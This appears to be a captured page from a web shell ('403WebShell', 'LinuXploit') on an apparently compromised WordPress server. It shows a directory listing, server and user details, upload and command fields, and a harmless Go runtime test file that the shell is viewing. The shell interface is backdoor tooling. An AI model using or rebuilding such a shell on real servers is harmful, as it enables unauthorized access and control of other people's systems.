//home/www/public
NameSizeLast ModifiedPermsActions
.render-cache-2026-07-08 11:53drwxr-xr-x (0755)
.tmb-2026-07-08 11:59drwxrwxrwx (0777)
wp-admin-2026-07-08 13:34drwxr-xr-x (0755)
wp-content-2026-07-09 05:01drwxr-xr-x (0755)
wp-includes-2026-07-09 07:44drwxr-xr-x (0755)
.htaccess233 B2026-07-09 03:46-rw-r--r-- (0644)
.htaccess.bak-20260615392 B2026-06-19 10:07-rw-r--r-- (0644)
index.php405 B2020-02-06 01:03-r--r--r-- (0444)
license.txt19.44 KB2025-12-31 18:37-rw-r--r-- (0644)
readme.html7.23 KB2026-01-09 06:17-rw-r--r-- (0644)
robots.txt75 B2026-06-15 08:44-rw-r--r-- (0644)
wp-blog-header.php351 B2020-02-06 01:03-rw-r--r-- (0644)
wp-comments-post.php2.27 KB2023-06-14 08:41-rw-r--r-- (0644)
wp-config.php3.93 KB2026-07-08 05:27-rw------- (0600)
wp-cron.php5.49 KB2024-08-02 14:10-rw-r--r-- (0644)
wp-links-opml.php2.43 KB2025-04-30 07:22-rw-r--r-- (0644)
wp-load.php3.84 KB2024-03-11 04:35-rw-r--r-- (0644)
wp-login.php50.63 KB2026-02-28 17:27-rw-r--r-- (0644)
wp-mail.php8.52 KB2025-04-02 16:55-rw-r--r-- (0644)
wp-settings.php31.88 KB2026-05-08 10:29-rw-r--r-- (0644)
wp-signup.php33.81 KB2026-02-17 11:35-rw-r--r-- (0644)
wp-trackback.php5.09 KB2025-08-19 07:00-rw-r--r-- (0644)
xmlrpc.php3.13 KB2024-11-08 10:22-rw-r--r-- (0644)
403WebShell
403Webshell
Server IP : 217.160.0.223  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux www 6.18.38-i1-ampere+ #1089 SMP Tue Jul 7 14:54:42 CEST 2026 aarch64
User : sws1073902667 ( 1073902667)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/go/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/go/test/inline_caller.go
// run -gcflags -l=4

// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main

import (
	"fmt"
	"runtime"
)

type frame struct {
	pc   uintptr
	file string
	line int
	ok   bool
}

var (
	skip        int
	globalFrame frame
)

func f() {
	g() // line 27
}

func g() {
	h() // line 31
}

func h() {
	x := &globalFrame
	x.pc, x.file, x.line, x.ok = runtime.Caller(skip) // line 36
}

//go:noinline
func testCaller(skp int) frame {
	skip = skp
	f() // line 42
	frame := globalFrame
	if !frame.ok {
		panic(fmt.Sprintf("skip=%d runtime.Caller failed", skp))
	}
	return frame
}

type wantFrame struct {
	funcName string
	line     int
}

// -1 means don't care
var expected = []wantFrame{
	0: {"main.h", 36},
	1: {"main.g", 31},
	2: {"main.f", 27},
	3: {"main.testCaller", 42},
	4: {"main.main", 68},
	5: {"runtime.main", -1},
	6: {"runtime.goexit", -1},
}

func main() {
	for i := 0; i <= 6; i++ {
		frame := testCaller(i) // line 68
		fn := runtime.FuncForPC(frame.pc)
		if expected[i].line >= 0 && frame.line != expected[i].line {
			panic(fmt.Sprintf("skip=%d expected line %d, got line %d", i, expected[i].line, frame.line))
		}
		if fn.Name() != expected[i].funcName {
			panic(fmt.Sprintf("skip=%d expected function %s, got %s", i, expected[i].funcName, fn.Name()))
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit